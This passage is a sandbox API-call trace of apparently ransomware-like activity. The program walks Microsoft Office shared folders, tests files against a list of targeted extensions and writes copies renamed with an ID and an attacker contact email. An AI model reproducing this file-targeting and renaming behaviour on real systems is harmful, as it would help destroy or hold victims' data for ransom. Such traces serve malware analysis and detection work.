lpFileSize=0x2d8ff1c*=3792) returned 1 [0050.529] CloseHandle (hObject=0x18c) returned 1 [0050.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0050.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.530] lstrlenW (lpString=".doc") returned 4 [0050.530] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0050.530] lstrlenW (lpString=".docx") returned 5 [0050.530] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0050.530] lstrlenW (lpString=".pdf") returned 4 [0050.530] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0050.530] lstrlenW (lpString=".xls") returned 4 [0050.530] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0050.530] lstrlenW (lpString=".xlsx") returned 5 [0050.530] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0050.530] lstrlenW (lpString=".ppt") returned 4 [0050.530] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0050.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.530] lstrlenW (lpString=".zip") returned 4 [0050.530] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0050.530] lstrlenW (lpString=".rar") returned 4 [0050.530] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0050.530] lstrlenW (lpString=".bz2") returned 4 [0050.530] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0050.530] lstrlenW (lpString=".7z") returned 3 [0050.530] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0050.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.530] lstrlenW (lpString=".dbf") returned 4 [0050.530] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.530] lstrlenW (lpString=".1cd") returned 4 [0050.530] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0050.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString=".jpg") returned 4 [0050.531] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString=".doc") returned 4 [0050.531] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0050.531] lstrlenW (lpString=".docx") returned 5 [0050.531] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0050.531] lstrlenW (lpString=".pdf") returned 4 [0050.531] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0050.531] lstrlenW (lpString=".xls") returned 4 [0050.531] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0050.531] lstrlenW (lpString=".xlsx") returned 5 [0050.531] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0050.531] lstrlenW (lpString=".ppt") returned 4 [0050.531] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString=".zip") returned 4 [0050.531] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0050.531] lstrlenW (lpString=".rar") returned 4 [0050.531] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0050.531] lstrlenW (lpString=".bz2") returned 4 [0050.531] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0050.531] lstrlenW (lpString=".7z") returned 3 [0050.531] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString=".dbf") returned 4 [0050.531] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString=".1cd") returned 4 [0050.531] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0050.531] lstrlenW (lpString=".jpg") returned 4 [0050.532] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0050.532] lstrcmpiW (lpString1=".htm", lpString2=".wiki") returned -1 [0050.532] lstrlenW (lpString="Garden.htm") returned 10 [0050.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.532] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=231) returned 1 [0050.532] CloseHandle (hObject=0x18c) returned 1 [0050.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0050.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.532] lstrlenW (lpString=".doc") returned 4 [0050.532] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0050.532] lstrlenW (lpString=".docx") returned 5 [0050.532] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0050.532] lstrlenW (lpString=".pdf") returned 4 [0050.532] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString=".xls") returned 4 [0050.533] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString=".xlsx") returned 5 [0050.533] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0050.533] lstrlenW (lpString=".ppt") returned 4 [0050.533] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.533] lstrlenW (lpString=".zip") returned 4 [0050.533] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString=".rar") returned 4 [0050.533] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString=".bz2") returned 4 [0050.533] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0050.533] lstrlenW (lpString=".7z") returned 3 [0050.533] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.533] lstrlenW (lpString=".dbf") returned 4 [0050.533] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.533] lstrlenW (lpString=".1cd") returned 4 [0050.533] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.533] lstrlenW (lpString=".jpg") returned 4 [0050.533] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.533] lstrlenW (lpString=".doc") returned 4 [0050.533] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0050.533] lstrlenW (lpString=".docx") returned 5 [0050.533] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0050.533] lstrlenW (lpString=".pdf") returned 4 [0050.533] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString=".xls") returned 4 [0050.533] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0050.533] lstrlenW (lpString=".xlsx") returned 5 [0050.534] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0050.534] lstrlenW (lpString=".ppt") returned 4 [0050.534] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.534] lstrlenW (lpString=".zip") returned 4 [0050.534] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0050.534] lstrlenW (lpString=".rar") returned 4 [0050.534] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0050.534] lstrlenW (lpString=".bz2") returned 4 [0050.534] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0050.534] lstrlenW (lpString=".7z") returned 3 [0050.534] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.534] lstrlenW (lpString=".dbf") returned 4 [0050.534] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.534] lstrlenW (lpString=".1cd") returned 4 [0050.534] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0050.534] lstrlenW (lpString=".jpg") returned 4 [0050.534] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0050.534] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0050.534] lstrlenW (lpString="Garden.jpg") returned 10 [0050.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.535] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=23871) returned 1 [0050.535] CloseHandle (hObject=0x18c) returned 1 [0050.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0050.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.535] lstrlenW (lpString=".doc") returned 4 [0050.535] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0050.535] lstrlenW (lpString=".docx") returned 5 [0050.535] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0050.535] lstrlenW (lpString=".pdf") returned 4 [0050.535] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0050.535] lstrlenW (lpString=".xls") returned 4 [0050.535] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0050.535] lstrlenW (lpString=".xlsx") returned 5 [0050.535] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0050.535] lstrlenW (lpString=".ppt") returned 4 [0050.535] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.535] lstrlenW (lpString=".zip") returned 4 [0050.535] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0050.535] lstrlenW (lpString=".rar") returned 4 [0050.535] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0050.535] lstrlenW (lpString=".bz2") returned 4 [0050.535] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0050.535] lstrlenW (lpString=".7z") returned 3 [0050.535] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0050.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString=".dbf") returned 4 [0050.536] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0050.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString=".1cd") returned 4 [0050.536] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0050.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString=".jpg") returned 4 [0050.536] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0050.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString=".doc") returned 4 [0050.536] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0050.536] lstrlenW (lpString=".docx") returned 5 [0050.536] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0050.536] lstrlenW (lpString=".pdf") returned 4 [0050.536] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0050.536] lstrlenW (lpString=".xls") returned 4 [0050.536] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0050.536] lstrlenW (lpString=".xlsx") returned 5 [0050.536] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0050.536] lstrlenW (lpString=".ppt") returned 4 [0050.536] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0050.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString=".zip") returned 4 [0050.536] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0050.536] lstrlenW (lpString=".rar") returned 4 [0050.536] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0050.536] lstrlenW (lpString=".bz2") returned 4 [0050.536] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0050.536] lstrlenW (lpString=".7z") returned 3 [0050.536] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0050.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.536] lstrlenW (lpString=".dbf") returned 4 [0050.536] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.537] lstrlenW (lpString=".1cd") returned 4 [0050.537] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0050.537] lstrlenW (lpString=".jpg") returned 4 [0050.537] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0050.537] lstrcmpiW (lpString1=".emf", lpString2=".wiki") returned -1 [0050.537] lstrlenW (lpString="Genko_1.emf") returned 11 [0050.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.095] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5524) returned 1 [0051.095] CloseHandle (hObject=0x1dc) returned 1 [0051.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0051.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.095] lstrlenW (lpString=".doc") returned 4 [0051.095] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0051.095] lstrlenW (lpString=".docx") returned 5 [0051.095] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0051.095] lstrlenW (lpString=".pdf") returned 4 [0051.095] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0051.095] lstrlenW (lpString=".xls") returned 4 [0051.095] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0051.095] lstrlenW (lpString=".xlsx") returned 5 [0051.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0051.095] lstrlenW (lpString=".ppt") returned 4 [0051.096] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString=".zip") returned 4 [0051.096] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString=".rar") returned 4 [0051.096] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString=".bz2") returned 4 [0051.096] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0051.096] lstrlenW (lpString=".7z") returned 3 [0051.096] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString=".dbf") returned 4 [0051.096] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString=".1cd") returned 4 [0051.096] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString=".jpg") returned 4 [0051.096] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString=".doc") returned 4 [0051.096] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0051.096] lstrlenW (lpString=".docx") returned 5 [0051.096] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0051.096] lstrlenW (lpString=".pdf") returned 4 [0051.096] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString=".xls") returned 4 [0051.096] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString=".xlsx") returned 5 [0051.096] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0051.096] lstrlenW (lpString=".ppt") returned 4 [0051.096] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0051.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.096] lstrlenW (lpString=".zip") returned 4 [0051.097] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0051.097] lstrlenW (lpString=".rar") returned 4 [0051.097] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0051.097] lstrlenW (lpString=".bz2") returned 4 [0051.097] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0051.097] lstrlenW (lpString=".7z") returned 3 [0051.097] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0051.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.097] lstrlenW (lpString=".dbf") returned 4 [0051.097] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0051.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.097] lstrlenW (lpString=".1cd") returned 4 [0051.097] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0051.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0051.097] lstrlenW (lpString=".jpg") returned 4 [0051.097] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0051.097] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.097] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.097] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1925) returned 1 [0051.097] CloseHandle (hObject=0x1dc) returned 1 [0051.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0051.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.098] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.098] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.884] GetLastError () returned 0x0 [0051.884] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x785, lpOverlapped=0x0) returned 1 [0051.885] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x790, lpOverlapped=0x0) returned 1 [0051.886] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.886] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.887] SetEndOfFile (hFile=0x1f0) returned 1 [0051.887] CloseHandle (hObject=0x1f0) returned 1 [0051.887] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 